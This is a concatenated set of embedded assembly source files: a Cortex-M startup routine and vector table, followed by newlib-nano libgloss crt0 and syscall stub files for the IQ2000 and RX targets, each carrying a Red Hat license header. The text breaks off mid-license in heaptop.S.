#0 b LoopCopyDataInit CopyDataInit: ldr r3, =_sidata add r3, r4 ldr r3, [r3, r1] str r3, [r0, r1] adds r1, r1, #4 LoopCopyDataInit: ldr r0, =_sdata ldr r3, =_edata adds r2, r0, r1 cmp r2, r3 bcc CopyDataInit // Copy ITCM movs r1, #0 b LoopCopyITCMInit CopyITCMInit: ldr r3, =itcm_data add r3, r4 ldr r3, [r3, r1] str r3, [r0, r1] adds r1, r1, #4 LoopCopyITCMInit: ldr r0, =itcm_text_start ldr r3, =itcm_text_end adds r2, r0, r1 cmp r2, r3 bcc CopyITCMInit ldr r2, =_sbss b LoopFillZerobss // Zero fill the bss segment. FillZerobss: movs r3, #0 str r3, [r2], #4 LoopFillZerobss: ldr r3, = _ebss cmp r2, r3 bcc FillZerobss // Call static constructors bl __libc_init_array // Call the application's entry point. bl cpp_do_init pop {r4, pc} /***************************************************************************** * * The minimal vector table for a Cortex M. Note that the proper constructs * must be placed on this to ensure that it ends up at physical address * 0x0000.0000. * *******************************************************************************/ .section .isr_vector,"a",%progbits #.type g_pfnVectors, %object #.size g_pfnVectors, .-g_pfnVectors g_pfnVectors: .word 0x54494C42 .word _Z6renderm .word _ZN4blit4tickEm .word do_init .word _flash_end .word 1 // device_id = 1 + padding .hword BLIT_API_VERSION_MAJOR .hword BLIT_API_VERSION_MINOR /* .weak render .thumb_set render,main .weak update .thumb_set update,main .weak init .thumb_set init,main */

32bitmicro/newlib-nano-1.0

1,756

libgloss/iq2000/crt0.S

##============================================================================== ## ## crt0.S ## ## IQ2000 startup code ## ##============================================================================== ## ## Copyright (c) 2000, Cygnus Solutions, A Red Hat Company ## ## The authors hereby grant permission to use, copy, modify, distribute, ## and license this software and its documentation for any purpose, provided ## that existing copyright notices are retained in all copies and that this ## notice is included verbatim in any distributions. No written agreement, ## license, or royalty fee is required for any of the authorized uses. ## Modifications to this software may be copyrighted by their authors ## and need not follow the licensing terms described here, provided that ## the new terms are clearly indicated on the first page of each file where ## they apply. ## ##------------------------------------------------------------------------------ .file "crt0.S" ##------------------------------------------------------------------------------ ## Startup code .section .text .global _start _start: lui %29,%hi(__stack) ori %29,%29,%lo(__stack) lui %24,%hi(_edata) # get start of bss ori %24,%24,%lo(_edata) lui %25,%hi(_end) # get end of bss ori %25,%25,%lo(_end) beq %24,%25,.L0 # check if end and start are the same # do nothing if no bss .L1: sb %0,0(%24) # clear a byte and bump pointer addi %24,%24,1 bne %24,%25,.L1 nop .L0: jal _main # call _main to run ctors/dtors nop xor %4,%4,%4 jal main # call main program xor %5,%5,%5 jal exit # all done, no need to return or or %4,%0,%2 # exit with main's return value .section .data .global __dso_handle .weak __dso_handle __dso_handle: .long 0

32bitmicro/newlib-nano-1.0

1,673

libgloss/rx/crtn.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ .section .init,"ax" bsr.a _rx_run_preinit_array bsr.a _rx_run_init_array rts .global __rx_init_end __rx_init_end: .section .fini,"ax" rts .global __rx_fini_end __rx_fini_end: .text

32bitmicro/newlib-nano-1.0

1,507

libgloss/rx/stat.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(stat)

32bitmicro/newlib-nano-1.0

1,508

libgloss/rx/lseek.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(lseek)

32bitmicro/newlib-nano-1.0

1,507

libgloss/rx/time.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(time)

32bitmicro/newlib-nano-1.0

1,508

libgloss/rx/write.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(write)

32bitmicro/newlib-nano-1.0

1,508

libgloss/rx/times.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(times)

32bitmicro/newlib-nano-1.0

1,508

libgloss/rx/utime.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(utime)

32bitmicro/newlib-nano-1.0

1,508

libgloss/rx/chdir.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(chdir)

32bitmicro/newlib-nano-1.0

1,593

libgloss/rx/isatty.S

/* Copyright (c) 2008, 2009 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ .global __isatty __isatty: .weak _isatty _isatty: mov #1,r1 rts

32bitmicro/newlib-nano-1.0

1,507

libgloss/rx/open.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(open)

32bitmicro/newlib-nano-1.0

1,507

libgloss/rx/link.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(link)

32bitmicro/newlib-nano-1.0

1,584

libgloss/rx/exit.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" .global __exit __exit: pushm r1-r2 bsr.a __rx_fini popm r1-r2 SYSCALL(SYS_exit)

32bitmicro/newlib-nano-1.0

1,507

libgloss/rx/argv.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(argv)

32bitmicro/newlib-nano-1.0

1,507

libgloss/rx/kill.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(kill)

32bitmicro/newlib-nano-1.0

1,507

libgloss/rx/read.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(read)

32bitmicro/newlib-nano-1.0

1,508

libgloss/rx/close.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(close)

32bitmicro/newlib-nano-1.0

1,509

libgloss/rx/getpid.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(getpid)

32bitmicro/newlib-nano-1.0

1,543

libgloss/rx/heaptop.S

/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 